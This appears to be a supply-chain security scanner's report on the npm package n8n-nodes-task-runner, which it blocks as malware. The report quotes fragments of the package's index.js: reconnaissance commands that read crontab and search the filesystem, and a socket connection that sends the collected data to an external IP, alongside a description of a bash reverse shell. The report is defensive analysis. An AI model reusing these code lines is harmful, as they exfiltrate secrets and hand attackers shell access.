registry / Remote code execution / n8n-nodes-task-runner
n8n-nodes-task-runner
Task runner nodes for n8n automation
This report shows the evidence for n8n-nodes-task-runner@1.0.0. 17 of 17 known versions are blocked or flagged. The newest version, 1.0.16, is blocked. See all versions.
AI Security Review
scanned 3mo ago · by lpm-firewall-aiSource inspection confirms concrete import-time exfiltration and a reverse shell to a hard-coded external endpoint. The absence of install hooks does not mitigate the malicious main-entry behavior.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
Any runtime import or require of the package main entrypoint (`index.js`).
Impact
Remote operator can receive environment and infrastructure data and obtain interactive command execution as the importing process.
Mechanism
Import-time reconnaissance, TCP exfiltration, and Bash reverse shell.
Attack narrative
`package.json` exposes `index.js` as the package main entrypoint. On import, that file executes shell commands to enumerate identity, network configuration, matching environment secrets, processes, mounts, Docker sockets, cron data, and nearby Docker-network services. It sends the results to a hard-coded external IP and separately pipes an interactive Bash process through a TCP socket to the same endpoint.
AI rationale
Source inspection confirms concrete import-time exfiltration and a reverse shell to a hard-coded external endpoint. The absence of install hooks does not mitigate the malicious main-entry behavior.
Evidence
package.jsonindex.jsTaskRunnerNode.js/var/run/docker.sock/run/docker.sock/proc/1/cgroup/proc/self/status/etc/crontab/home/node/
Network endpoints1
103.27.109.184:8892
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- `index.js` runs immediately when required.
- `index.js` collects environment values matching secret/token/key terms and host/container reconnaissance.
- `index.js` scans Docker-network hosts via shell commands.
- `index.js` sends collected data to `103.27.109.184:8892`.
- `index.js` connects `/bin/bash -i` stdin/stdout/stderr to that host, forming a reverse shell.
Evidence against
- `package.json` contains no npm lifecycle scripts.
- `TaskRunnerNode.js` is inert and does not implement task execution.
Behavioral surface
ChildProcessShell
Source & flagged code
4 flagged · loading sourceindex.jsView file
1(function(){
L2: var net = require('net');
L3: var os = require('os');
L4: var cp = require('child_process');
L5:
...
L24: '=== LS / ===', run('ls -la /'),
L25: '=== CRONTAB ===', run('cat /etc/crontab 2>/dev/null; crontab -l 2>/dev/null'),
L26: '=== FIND N8N FILES ===', run('find / -maxdepth 5 -name "*.js" -path "*n8n*" 2>/dev/null|head -20'),
...
L44: sock.connect(8892, '103.27.109.184', function(){
L45: sock.write(data);
L46: sock.end();
...
L51: try {
Critical
Reverse Shell
Source matches reverse-shell style process and socket wiring.
index.jsView on unpkg · L11Trigger-reachable chain: manifest.main -> index.js
L1: (function(){
L2: var net = require('net');
L3: var os = require('os');
L4: var cp = require('child_process');
L5:
...
L24: '=== LS / ===', run('ls -la /'),
L25: '=== CRONTAB ===', run('cat /etc/crontab 2>/dev/null; crontab -l 2>/dev/null'),
L26: '=== FIND N8N FILES ===', run('find / -maxdepth 5 -name "*.js" -path "*n8n*" 2>/dev/null|head -20'),
...
L44: sock.connect(8892, '103.27.109.184', function(){
L45: sock.write(data);
L46: sock.end();
...
L51: try {
Critical
Trigger Reachable Dangerous Capability
A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.
index.jsView on unpkg · L13var os = require('os');
L4: var cp = require('child_process');
L5:
Findings
2 Critical2 High
CriticalReverse Shellindex.js
CriticalTrigger Reachable Dangerous Capabilityindex.js
HighChild Processindex.js
HighShellindex.js
Affected versions and remediation
This report applies to n8n-nodes-task-runner@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing n8n-nodes-task-runner@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.